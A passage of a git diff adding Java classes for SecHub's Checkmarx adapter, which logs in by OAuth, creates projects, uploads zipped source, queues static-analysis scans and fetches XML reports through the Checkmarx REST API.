org.springframework.http.client.ClientHttpResponse; + +public class CheckmarxClientHttpRequestInterceptor implements ClientHttpRequestInterceptor { + + private CheckmarxContext context; + + public CheckmarxClientHttpRequestInterceptor(CheckmarxContext context) { + this.context=context; + } + + @Override + public ClientHttpResponse intercept(HttpRequest request, byte[] body, ClientHttpRequestExecution execution) + throws IOException { + if (context.isOAuthenticated()) { + /* login done ...*/ + HttpHeaders headers = request.getHeaders(); + headers.remove("Authorization"); + headers.add("Authorization", context.getAuthorizationHeaderValue()); + } + return execution.execute(request, body); + } + +} diff --git a/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/CheckmarxConfig.java b/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/CheckmarxConfig.java new file mode 100644 index 0000000000..d3f9c74cd4 --- /dev/null +++ b/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/CheckmarxConfig.java @@ -0,0 +1,74 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.checkmarx; + +import com.daimler.sechub.adapter.AbstractCodeScanAdapterConfig; +import com.daimler.sechub.adapter.AbstractCodeScanAdapterConfigBuilder; + +public class CheckmarxConfig extends AbstractCodeScanAdapterConfig implements CheckmarxAdapterConfig{ + + private String teamIdForNewProjects; + private String pathToZipFile; + + private CheckmarxConfig() { + } + + @Override + public String getTeamIdForNewProjects() { + return teamIdForNewProjects; + } + @Override + public String getPathToZipFile() { + return pathToZipFile; + } + + public static CheckmarxConfigBuilder builder() { + return new CheckmarxConfigBuilder(); + } + + public static class CheckmarxConfigBuilder extends AbstractCodeScanAdapterConfigBuilder{ + + private String teamIdForNewProjects; + private String pathToZipFile; + + /** + * When we create a new project this is the team ID to use + * @param teamId + * @return + */ + public CheckmarxConfigBuilder setTeamIdForNewProjects(String teamId){ + this.teamIdForNewProjects=teamId; + return this; + } + public CheckmarxConfigBuilder setPathToZipFile(String pathToZipFile){ + this.pathToZipFile=pathToZipFile; + return this; + } + + @Override + protected void customBuild(CheckmarxConfig config) { + config.teamIdForNewProjects=teamIdForNewProjects; + config.pathToZipFile=pathToZipFile; + } + + @Override + protected CheckmarxConfig buildInitialConfig() { + return new CheckmarxConfig(); + } + + @Override + protected void customValidate() { + assertUserSet(); + assertPasswordSet(); + assertProjectIdSet(); + assertTeamIdSet(); + } + + protected void assertTeamIdSet() { + if (teamIdForNewProjects == null) { + throw new IllegalStateException("no team id given"); + } + } + } + + +} diff --git a/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/CheckmarxContext.java b/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/CheckmarxContext.java new file mode 100644 index 0000000000..1d52f30ed2 --- /dev/null +++ b/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/CheckmarxContext.java @@ -0,0 +1,126 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.checkmarx; + +import org.springframework.http.client.ClientHttpRequestInterceptor; + +import com.daimler.sechub.adapter.AbstractSpringRestAdapterContext; +import com.daimler.sechub.adapter.checkmarx.support.CheckmarxOAuthSupport.CheckmarxOAuthData; +import com.daimler.sechub.adapter.checkmarx.support.QueueDetails; +import com.daimler.sechub.adapter.checkmarx.support.ReportDetails; +import com.daimler.sechub.adapter.checkmarx.support.ScanDetails; + +/** + * Context for checkmarx execution. + * + * @author Albert Tregnaghi + * + */ +public class CheckmarxContext extends AbstractSpringRestAdapterContext + implements CheckmarxAdapterContext { + + private CheckmarxOAuthData oAuthData; + private CheckmarxSessionData sessionData; + private QueueDetails queueDetails; + private ScanDetails scanDetails; + private ReportDetails reportDetails; + private boolean fullScan; + private Boolean newProject; + + public CheckmarxContext(CheckmarxAdapterConfig config, CheckmarxAdapter adapter) { + super(config, adapter); + queueDetails = new QueueDetails(); + scanDetails = new ScanDetails(); + reportDetails = new ReportDetails(); + } + + public CheckmarxAdapter getCheckmarxAdapter() { + return super.getAdapter(); + } + + public QueueDetails getQueueDetails() { + return queueDetails; + } + + public void markQueueRetry() { + queueDetails = new QueueDetails(); + } + + public void setSessionData(CheckmarxSessionData sessionData) { + this.sessionData = sessionData; + } + + public CheckmarxSessionData getSessionData() { + if (sessionData == null) { + throw new IllegalStateException("Session data is not initialized/set!"); + } + return sessionData; + } + + public boolean isOAuthenticated() { + return oAuthData != null; + } + + public void markAuthenticated(CheckmarxOAuthData data) { + this.oAuthData = data; + } + + public boolean isIncrementalScan() { + return !fullScan; + } + + public boolean isFullScan() { + return fullScan; + } + + public void setFullScan(boolean incremental) { + this.fullScan = incremental; + } + + @Override + public long getScanId() { + return getSessionData().getScanId(); + } + + @Override + public long getReportId() { + return getSessionData().getReportId(); + } + + @Override + public void setReportId(long reportId) { + getSessionData().setReportId(reportId); + } + + @Override + protected ClientHttpRequestInterceptor createInterceptorOrNull(CheckmarxAdapterConfig config) { + return new CheckmarxClientHttpRequestInterceptor(this); + } + + public String getAuthorizationHeaderValue() { + if (!isOAuthenticated()) { + return ""; + } + return oAuthData.getTokenType() + " " + oAuthData.getAccessToken(); + } + + public ScanDetails getScanDetails() { + return scanDetails; + } + + public ReportDetails getReportDetails() { + return reportDetails; + } + + public boolean isNewProject() { + return Boolean.TRUE.equals(newProject); + } + + public boolean isNewProjectInfoAvailable() { + return newProject != null; + } + + public void setNewProject(boolean newProject) { + this.newProject = newProject; + } + +} diff --git a/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/CheckmarxRESTFailureException.java b/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/CheckmarxRESTFailureException.java new file mode 100644 index 0000000000..8763307ea5 --- /dev/null +++ b/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/CheckmarxRESTFailureException.java @@ -0,0 +1,24 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.checkmarx; + +import org.springframework.http.HttpStatus; + +public class CheckmarxRESTFailureException extends RuntimeException { + + private static final long serialVersionUID = 6448794893494468643L; + private final String body; + + public CheckmarxRESTFailureException(HttpStatus status, String body) { + super("Checkmarx REST failed with HTTP Status:" + (status != null ? status.name() : "null")); + this.body = body; + } + + public String getResponseBody() { + return body; + } + + @Override + public String toString() { + return super.toString() + "\nBody:\n" + getResponseBody(); + } +} diff --git a/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/CheckmarxSessionData.java b/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/CheckmarxSessionData.java new file mode 100644 index 0000000000..6ec766a145 --- /dev/null +++ b/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/CheckmarxSessionData.java @@ -0,0 +1,44 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.checkmarx; + +public class CheckmarxSessionData { + private long projectId; + private String projectName; + private long scanId; + private long reportId; + + public void setProjectId(long projectId) { + this.projectId = projectId; + } + + public void setProjectName(String projectName) { + this.projectName = projectName; + } + + public long getProjectId() { + return projectId; + } + + public String getProjectName() { + return projectName; + } + + + public void setScanId(long id) { + this.scanId=id; + } + + public long getScanId() { + return scanId; + } + + public void setReportId(long reportId) { + this.reportId=reportId; + } + public long getReportId() { + return reportId; + } + + + +} \ No newline at end of file diff --git a/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/CheckmarxState.java b/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/CheckmarxState.java new file mode 100644 index 0000000000..86fbd96765 --- /dev/null +++ b/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/CheckmarxState.java @@ -0,0 +1,31 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.checkmarx; + +public enum CheckmarxState { + COMPLETE("completed"), CANCELED("canceled"); + + private String id; + + private CheckmarxState(String id) { + if (id == null) { + throw new IllegalArgumentException("id may not be null!"); + } + this.id = id; + } + + public boolean isRepresentedBy(String state) { + if (state == null) { + return false; + } + return id.equals(state); + } + + public static boolean isWellknown(String state) { + for (CheckmarxState value : values()) { + if (value.isRepresentedBy(state)) { + return true; + } + } + return false; + } +} diff --git a/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/MockedCheckmarxAdapter.java b/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/MockedCheckmarxAdapter.java new file mode 100644 index 0000000000..77e178cd39 --- /dev/null +++ b/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/MockedCheckmarxAdapter.java @@ -0,0 +1,40 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.checkmarx; + +import org.springframework.context.annotation.Profile; +import org.springframework.stereotype.Component; + +import com.daimler.sechub.adapter.AdapterProfiles; +import com.daimler.sechub.adapter.mock.AbstractMockedAdapter; + +@Profile(AdapterProfiles.MOCKED_PRODUCTS) +@Component +public class MockedCheckmarxAdapter extends AbstractMockedAdapter implements CheckmarxAdapter { + + /** + * Check config data is as written in yaml file! This will check that all params + * are really given to the mock - means e.g. no data missing or accidently using + * defaults + * + * @param config + */ + protected void validateConfigAsDefinedInMockYAML(CheckmarxAdapterConfig config) { + if (! isMockSanityCheckEnabled()) { + return; + } + /* + * the token is for the apiToken'nessus-api-token' and user id + * 'nessus-user-id' from application-mock.yml! + */ + if (!"checkmarx-password".equals(config.getPassword())) { + throw new IllegalArgumentException(config.getPassword()); + } + String productBaseURL = config.getProductBaseURL(); + + boolean baseURLAsExpected = "https://checkmarx.mock.example.org:6011".equals(productBaseURL); + if (!baseURLAsExpected) { + throw new IllegalArgumentException("Checkmarx base url not as expected:" + productBaseURL); + } + } + +} diff --git a/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/support/CheckmarxFullScanNecessaryException.java b/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/support/CheckmarxFullScanNecessaryException.java new file mode 100644 index 0000000000..3026fb0465 --- /dev/null +++ b/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/support/CheckmarxFullScanNecessaryException.java @@ -0,0 +1,14 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.checkmarx.support; + +public class CheckmarxFullScanNecessaryException extends RuntimeException { + private static final long serialVersionUID = 1L; + + public CheckmarxFullScanNecessaryException(String checkMarxMessage) { + super(checkMarxMessage); + } + + public String getCheckmarxMessage() { + return getMessage(); + } +} \ No newline at end of file diff --git a/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/support/CheckmarxOAuthSupport.java b/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/support/CheckmarxOAuthSupport.java new file mode 100644 index 0000000000..2342e00e08 --- /dev/null +++ b/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/support/CheckmarxOAuthSupport.java @@ -0,0 +1,79 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.checkmarx.support; + +import org.springframework.http.HttpEntity; +import org.springframework.http.HttpHeaders; +import org.springframework.http.MediaType; +import org.springframework.http.ResponseEntity; +import org.springframework.util.LinkedMultiValueMap; +import org.springframework.util.MultiValueMap; +import org.springframework.web.client.RestOperations; + +import com.daimler.sechub.adapter.AdapterException; +import com.daimler.sechub.adapter.checkmarx.CheckmarxAdapterConfig; +import com.daimler.sechub.adapter.checkmarx.CheckmarxContext; +import com.daimler.sechub.adapter.support.JSONAdapterSupport; +import com.daimler.sechub.adapter.support.JSONAdapterSupport.Access; + +// https://checkmarx.atlassian.net/wiki/spaces/KC/pages/202506366/Token-based+Authentication+v8.6.0+and+up +// having version 8.8.0 at installation we use the token base auth and no cookie approach +public class CheckmarxOAuthSupport { + + public void loginAndGetOAuthToken(CheckmarxContext context) throws AdapterException { + CheckmarxAdapterConfig config = context.getConfig(); + + // example: + // CxRestAPI/projects?projectId=myProject&teamId=00000000-1111-1111-b111-989c9070eb11 + + String url = context.getAPIURL("auth/identity/connect/token"); + + RestOperations restTemplate = context.getRestOperations(); + HttpHeaders headers = new HttpHeaders(); + headers.setContentType(MediaType.APPLICATION_FORM_URLENCODED); + + MultiValueMap map = new LinkedMultiValueMap<>(); + map.add("username", config.getUser()); + map.add("password", config.getPassword()); + map.add("grant_type", "password"); + map.add("scope", "sast_rest_api"); + map.add("client_id", "resource_owner_client"); + map.add("client_secret", "014DF517-39D1-4453-B7B3-9930C563627C"); // client secret just ensures it is a checkmarx instance - so public... + + HttpEntity> request = new HttpEntity<>(map, headers); + + // Endpoint example: + // http://:/cxrestapi/auth/identity/connect/token + ResponseEntity response = restTemplate.postForEntity(url, request, String.class); + + String json = response.getBody(); + CheckmarxOAuthData data = extractFromJson(context.json(), json); + + context.markAuthenticated(data); + } + + CheckmarxOAuthData extractFromJson(JSONAdapterSupport support, String json) + throws AdapterException { + CheckmarxOAuthData data = new CheckmarxOAuthData(); + Access rootNode = support.fetchRootNode(json); + data.accessToken=rootNode.fetch("access_token").asText(); + data.tokenType=rootNode.fetch("token_type").asText(); + data.expiresIn=rootNode.fetch("expires_in").asLong(); + + return data; + } + + public class CheckmarxOAuthData{ + private String accessToken; + private long expiresIn; + private String tokenType; + public String getAccessToken() { + return accessToken; + } + public long getExpiresIn() { + return expiresIn; + } + public String getTokenType() { + return tokenType; + } + } +} diff --git a/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/support/CheckmarxProjectSupport.java b/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/support/CheckmarxProjectSupport.java new file mode 100644 index 0000000000..2c4ac1025d --- /dev/null +++ b/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/support/CheckmarxProjectSupport.java @@ -0,0 +1,97 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.checkmarx.support; + +import java.util.LinkedHashMap; +import java.util.Map; +import java.util.TreeMap; + +import org.springframework.http.HttpEntity; +import org.springframework.http.ResponseEntity; +import org.springframework.util.LinkedMultiValueMap; +import org.springframework.util.MultiValueMap; +import org.springframework.web.client.HttpStatusCodeException; +import org.springframework.web.client.RestOperations; + +import com.daimler.sechub.adapter.AdapterException; +import com.daimler.sechub.adapter.checkmarx.CheckmarxAdapterConfig; +import com.daimler.sechub.adapter.checkmarx.CheckmarxContext; +import com.daimler.sechub.adapter.checkmarx.CheckmarxSessionData; +import com.daimler.sechub.adapter.support.JSONAdapterSupport; +import com.daimler.sechub.adapter.support.JSONAdapterSupport.Access; + +public class CheckmarxProjectSupport { + + public void ensureProjectExists(CheckmarxContext context) throws AdapterException { + CheckmarxAdapterConfig config = context.getConfig(); + String projectName = config.getProjectId(); + String teamId = config.getTeamIdForNewProjects(); + + Map map = new LinkedHashMap<>(); + map.put("projectName", projectName); + map.put("teamId", teamId); + String url = context.getAPIURL("projects", map); + RestOperations restTemplate = context.getRestOperations(); + + // https://checkmarx.atlassian.net/wiki/spaces/KC/pages/814285654/Swagger+Examples+v8.8.0+-+v2 + // https://checkmarx.atlassian.net/wiki/spaces/KC/pages/564330665/Get+All+Project+Details+-+GET+projects+v8.8.0+and+up + // example: + // CxRestAPI/projects?projectName=myProject&teamId=00000000-1111-1111-b111-989c9070eb11 + try { + ResponseEntity response = restTemplate.getForEntity(url, String.class); + context.setSessionData(extractFirstProjectFromJsonWithProjectArray(context.json(), response.getBody())); + context.setNewProject(false); + return; + } catch (HttpStatusCodeException e) { + if (e.getRawStatusCode() != 404) { + /* only 404 - not found is accepted */ + throw context.asAdapterException("Unexpected HTTP status error", e); + } + } + /* 404 error - okay, lets create */ + context.setSessionData(createProject(context)); + context.setNewProject(true); + } + + private CheckmarxSessionData createProject(CheckmarxContext context) throws AdapterException { + CheckmarxAdapterConfig config = context.getConfig(); + String projectName = config.getProjectId(); + String teamId = config.getTeamIdForNewProjects(); + + Map json = new TreeMap<>(); + json.put("name", projectName); + json.put("owningTeam",teamId); + json.put("isPublic","false"); + + String url = context.getAPIURL("projects"); + String jsonAsString = context.json().toJSON(json); + RestOperations restTemplate = context.getRestOperations(); + + // https://checkmarx.atlassian.net/wiki/spaces/KC/pages/222265747/Create+Project+with+Default+Configuration+-+POST+projects + // https://checkmarx.atlassian.net/wiki/spaces/KC/pages/814285654/Swagger+Examples+v8.8.0+-+v2 + MultiValueMap headers = new LinkedMultiValueMap<>(); + headers.set("Content-Type", "application/json;v=2.0"); + + HttpEntity request = new HttpEntity<>(jsonAsString,headers); + ResponseEntity response = restTemplate.postForEntity(url, request, String.class); + return extractProjectFromJsonWithProjectCreationData(projectName, context.json(), response.getBody()); + } + + CheckmarxSessionData extractFirstProjectFromJsonWithProjectArray(JSONAdapterSupport support, String json) + throws AdapterException { + CheckmarxSessionData data = new CheckmarxSessionData(); + Access rootNode = support.fetchRootNode(json); + Access first = support.fetchArray(0, rootNode.asArray()); + data.setProjectId(first.fetch("id").asLong()); + data.setProjectName(first.fetch("name").asText()); + return data; + } + + CheckmarxSessionData extractProjectFromJsonWithProjectCreationData(String projectName, + JSONAdapterSupport support, String json) throws AdapterException { + CheckmarxSessionData data = new CheckmarxSessionData(); + Access rootNode = support.fetchRootNode(json); + data.setProjectId(rootNode.fetch("id").asLong()); + data.setProjectName(projectName); + return data; + } +} diff --git a/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/support/CheckmarxScanReportSupport.java b/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/support/CheckmarxScanReportSupport.java new file mode 100644 index 0000000000..6d2c29f0da --- /dev/null +++ b/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/support/CheckmarxScanReportSupport.java @@ -0,0 +1,107 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.checkmarx.support; + +import java.util.Map; +import java.util.TreeMap; + +import org.springframework.http.HttpEntity; +import org.springframework.http.HttpHeaders; +import org.springframework.http.HttpMethod; +import org.springframework.http.HttpStatus; +import org.springframework.http.MediaType; +import org.springframework.http.ResponseEntity; +import org.springframework.web.client.HttpStatusCodeException; +import org.springframework.web.client.RestOperations; + +import com.daimler.sechub.adapter.AdapterException; +import com.daimler.sechub.adapter.checkmarx.CheckmarxAdapterContext; + +public class CheckmarxScanReportSupport { + + + // https://checkmarx.atlassian.net/wiki/spaces/KC/pages/223379587/Register+Scan+Report+-+POST+reports+sastScan + // https://checkmarx.atlassian.net/wiki/spaces/KC/pages/563806382/Get+Report+Status+by+Id+-+GET+reports+sastScan+id+status+v8.8.0+and+up + // https://checkmarx.atlassian.net/wiki/spaces/KC/pages/222101925/Get+Report+s+by+Id+-+GET+reports+sastScan+id + /** + * Starts new scan - means : Will create an entry inside QUEUE! And wait until + * processed + * + * @param context + * - if scan is started, the corresponding queue id will be set to + * context + * @param sessionContext + * @throws AdapterException + */ + public void startFetchReport(CheckmarxAdapterContext context) throws AdapterException { + triggerNewReport(context); + waitForReport(context); + fetchReportResult(context); + + } + + // https://checkmarx.atlassian.net/wiki/spaces/KC/pages/222101925/Get+Report+s+by+Id+-+GET+reports+sastScan+id + void fetchReportResult(CheckmarxAdapterContext context) throws AdapterException { + ReportDetails details = context.getReportDetails(); + try { + RestOperations restTemplate = context.getRestOperations(); + ResponseEntity queueData = restTemplate + .getForEntity(context.getAPIURL("reports/sastScan/" + context.getReportId()), String.class); + String body = queueData.getBody(); + if (body == null) { // NOSONAR + body = ""; + } + int index = body.indexOf(" 0) { + body = body.substring(index); + } + context.setResult(body); + + } catch (HttpStatusCodeException e) { + if (HttpStatus.NOT_FOUND.equals(e.getStatusCode())) { + /* ok just no longer in queue / or never existed */ + details.notFound = true; + return; + } + throw e; // rethrow + } + } + + // https://checkmarx.atlassian.net/wiki/spaces/KC/pages/563806382/Get+Report+Status+by+Id+-+GET+reports+sastScan+id+status+v8.8.0+and+up + void waitForReport(CheckmarxAdapterContext context) throws AdapterException { + + WaitForScanReportSupport support = new WaitForScanReportSupport(context.getCheckmarxAdapter()); + support.waitForOK(context); + + ReportDetails reportDetails = context.getReportDetails(); + if (reportDetails.isNotFound()) { + throw context.asAdapterException("The report cannot be found!", null); + } + + } + + // https://checkmarx.atlassian.net/wiki/spaces/KC/pages/223379587/Register+Scan+Report+-+POST+reports+sastScan + void triggerNewReport(CheckmarxAdapterContext context) throws AdapterException { + + Map json = new TreeMap<>(); + json.put("reportType", "XML"); + json.put("scanId", context.getScanId()); + + String url = context.getAPIURL("reports/sastScan"); + String jsonAsString = context.json().toJSON(json); + + HttpHeaders headers = new HttpHeaders(); + headers.setContentType(MediaType.APPLICATION_JSON); + HttpEntity request = new HttpEntity<>(jsonAsString, headers); + + RestOperations restTemplate = context.getRestOperations(); + ResponseEntity result = restTemplate.exchange(url, HttpMethod.POST, request, String.class); + if (!result.getStatusCode().equals(HttpStatus.ACCEPTED)) { + throw context.asAdapterException("Response HTTP status not as expected: " + result.getStatusCode(), null); + } + String body = result.getBody(); + + long reportId = context.json().fetch("reportId", body).asLong(); + context.setReportId(reportId); + } + +} diff --git a/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/support/CheckmarxScanSupport.java b/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/support/CheckmarxScanSupport.java new file mode 100644 index 0000000000..46ca7f894f --- /dev/null +++ b/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/support/CheckmarxScanSupport.java @@ -0,0 +1,105 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.checkmarx.support; + +import java.util.Map; +import java.util.TreeMap; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.http.HttpEntity; +import org.springframework.http.HttpHeaders; +import org.springframework.http.HttpMethod; +import org.springframework.http.HttpStatus; +import org.springframework.http.ResponseEntity; +import org.springframework.web.client.RestOperations; + +import com.daimler.sechub.adapter.AdapterException; +import com.daimler.sechub.adapter.checkmarx.CheckmarxAdapterConfig; +import com.daimler.sechub.adapter.checkmarx.CheckmarxContext; + +public class CheckmarxScanSupport { + + // https://checkmarx.atlassian.net/wiki/spaces/KC/pages/563806540/Create+New+Scan+POST+sast+scans+v8.8.0+and+up + // https://checkmarx.atlassian.net/wiki/spaces/KC/pages/563806540/Create+New+Scan+POST+sast+scans+v8.8.0+and+up + // next: important: v1 -because only there are SAST scans!!!! + // https://checkmarx.atlassian.net/wiki/spaces/KC/pages/814121878/Swagger+Examples+v8.8.0+-+v1 + + private static final Logger LOG = LoggerFactory.getLogger(CheckmarxScanSupport.class); + + /** + * Starts new scan - means : Will create an entry inside QUEUE! And wait until + * processed. If checkmarx queuing fails because of full scan is necessary a + * automatic retry will be done. If another failure occurs the scan will fail. + * + * @param context + * - if scan is started, the corresponding queue id will be set to + * context + * @param sessionContext + * @throws AdapterException + */ + public void startNewScan(CheckmarxContext context) throws AdapterException { + LOG.info("Start new checkmarx scan for: {}", context.getSessionData().getProjectName()); + triggerNewEntryInQueue(context); + waitForQueingDone(context); + checkScanAvailable(context); + + } + + private void checkScanAvailable(CheckmarxContext context) throws AdapterException { + WaitForScanStateSupport support = new WaitForScanStateSupport(context.getCheckmarxAdapter()); + support.waitForOK(context); + + } + + private void waitForQueingDone(CheckmarxContext context) throws AdapterException { + WaitForQueueStateSupport support = new WaitForQueueStateSupport(context.getCheckmarxAdapter()); + support.waitForOK(context); + + QueueDetails queueDetails = context.getQueueDetails(); + if (queueDetails.hasNeverRun()) { + throw context.asAdapterException("The queuing has never been run ?!!?", null); + } + + if (queueDetails.hasFailed()) { + String failureText = queueDetails.getFailureText(); + if (failureText == null) { + failureText = ""; + } + if (context.isIncrementalScan() && failureText.toLowerCase().contains("full scan")) { + throw new CheckmarxFullScanNecessaryException(failureText); + } + throw context.asAdapterException("The queuing has failed:" + failureText, null); + } + } + + // https://checkmarx.atlassian.net/wiki/spaces/KC/pages/814121878/Swagger+Examples+v8.8.0+-+v1 + private void triggerNewEntryInQueue(CheckmarxContext context) throws AdapterException { + CheckmarxAdapterConfig config = context.getConfig(); + long projectId = context.getSessionData().getProjectId(); + + Map json = new TreeMap<>(); + json.put("projectId", projectId); + json.put("isIncremental", context.isIncrementalScan()); + json.put("isPublic", false); + json.put("forceScan", false); + json.put("comment", "sechub job:" + config.getTraceID()); + + String url = context.getAPIURL("sast/scans"); + String jsonAsString = context.json().toJSON(json); + + HttpHeaders headers = new HttpHeaders(); + headers.set("Content-Type", "application/json;v=1.0"); + HttpEntity request = new HttpEntity<>(jsonAsString, headers); + + RestOperations restTemplate = context.getRestOperations(); + ResponseEntity result = restTemplate.exchange(url, HttpMethod.POST, request, String.class); + if (!result.getStatusCode().equals(HttpStatus.CREATED)) { + throw context.asAdapterException("Response HTTP status not as expected: " + result.getStatusCode(), null); + } + String body = result.getBody(); + + long scanId = context.json().fetch("id", body).asLong(); + context.getSessionData().setScanId(scanId); + } + +} diff --git a/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/support/CheckmarxUploadSupport.java b/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/support/CheckmarxUploadSupport.java new file mode 100644 index 0000000000..ddae6401aa --- /dev/null +++ b/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/support/CheckmarxUploadSupport.java @@ -0,0 +1,60 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.checkmarx.support; + +import java.io.File; + +import org.springframework.core.io.FileSystemResource; +import org.springframework.http.HttpEntity; +import org.springframework.http.HttpHeaders; +import org.springframework.http.HttpMethod; +import org.springframework.http.HttpStatus; +import org.springframework.http.MediaType; +import org.springframework.http.ResponseEntity; +import org.springframework.util.LinkedMultiValueMap; +import org.springframework.util.MultiValueMap; +import org.springframework.web.client.RestOperations; + +import com.daimler.sechub.adapter.AdapterException; +import com.daimler.sechub.adapter.checkmarx.CheckmarxAdapterConfig; +import com.daimler.sechub.adapter.checkmarx.CheckmarxAdapterContext; +import com.daimler.sechub.adapter.checkmarx.CheckmarxContext; + +public class CheckmarxUploadSupport { + + // https://checkmarx.atlassian.net/wiki/spaces/KC/pages/223313947/Upload+Source+Code+Zip+File+-+POST+projects+id+sourceCode+attachments + // POST /projects/{id}/sourceCode/attachments and upload the zipped source code + // https://www.baeldung.com/spring-rest-template-multipart-upload + public void uploadZippedSourceCode(CheckmarxContext context) + throws AdapterException { + CheckmarxAdapterConfig config = context.getConfig(); + + FileSystemResource sourceCodeFile = fetchSystemResource(context, config); + + HttpHeaders headers = new HttpHeaders(); + headers.setContentType(MediaType.MULTIPART_FORM_DATA); + MultiValueMap body = new LinkedMultiValueMap<>(); + body.add("zippedSource", sourceCodeFile); + + HttpEntity> requestEntity = new HttpEntity<>(body, headers); + + String url = context.getAPIURL("projects/" + context.getSessionData().getProjectId() + "/sourceCode/attachments"); + + RestOperations restTemplate = context.getRestOperations(); + + ResponseEntity result = restTemplate.exchange(url, HttpMethod.POST, requestEntity, String.class); + if (! result.getStatusCode().equals(HttpStatus.NO_CONTENT)) { + throw context.asAdapterException("Response HTTP status not as expected: "+result.getStatusCode(), null); + } + } + + private FileSystemResource fetchSystemResource(CheckmarxAdapterContext context, CheckmarxAdapterConfig config) + throws AdapterException { + String pathToZipFile = config.getPathToZipFile(); + /* currently we only provide file pathes... */ + File file = new File(pathToZipFile); + if (!file.exists()) { + throw context.asAdapterException("File does not exist:" + pathToZipFile, null); + } + return new FileSystemResource(file); + } +} diff --git a/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/support/QueueDetails.java b/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/support/QueueDetails.java new file mode 100644 index 0000000000..41041aa05e --- /dev/null +++ b/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/support/QueueDetails.java @@ -0,0 +1,44 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.checkmarx.support; + +public class QueueDetails { + + String stageValue; + boolean newQueueEntryFound; + int checkCount; + String failureText; + boolean done; + + public String getStageValue() { + return stageValue; + } + + public boolean isRunning() { + return isStillProcessing() && !hasFailed(); + } + + public boolean hasFailed() { + return "Failed".equals(stageValue); + } + + public int getCheckCount() { + return checkCount; + } + + public boolean isStillProcessing() { + return !done; + } + + public boolean isNewQueueEntryFound() { + return newQueueEntryFound; + } + + public String getFailureText() { + return failureText; + } + + public boolean hasNeverRun() { + return ! newQueueEntryFound; + } + +} \ No newline at end of file diff --git a/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/support/ReportDetails.java b/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/support/ReportDetails.java new file mode 100644 index 0000000000..efd3c62bfa --- /dev/null +++ b/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/support/ReportDetails.java @@ -0,0 +1,24 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.checkmarx.support; + +public class ReportDetails { + + String status; + boolean notFound; + public boolean isNotFound() { + return notFound; + } + public boolean isRunning() { + return isCheckPossible() && !isReportCreated(); + } + + private boolean isCheckPossible() { + return ! isNotFound(); + } + + private boolean isReportCreated() { + return "Created".equals(status); + } + + +} diff --git a/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/support/ScanDetails.java b/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/support/ScanDetails.java new file mode 100644 index 0000000000..77a62b65be 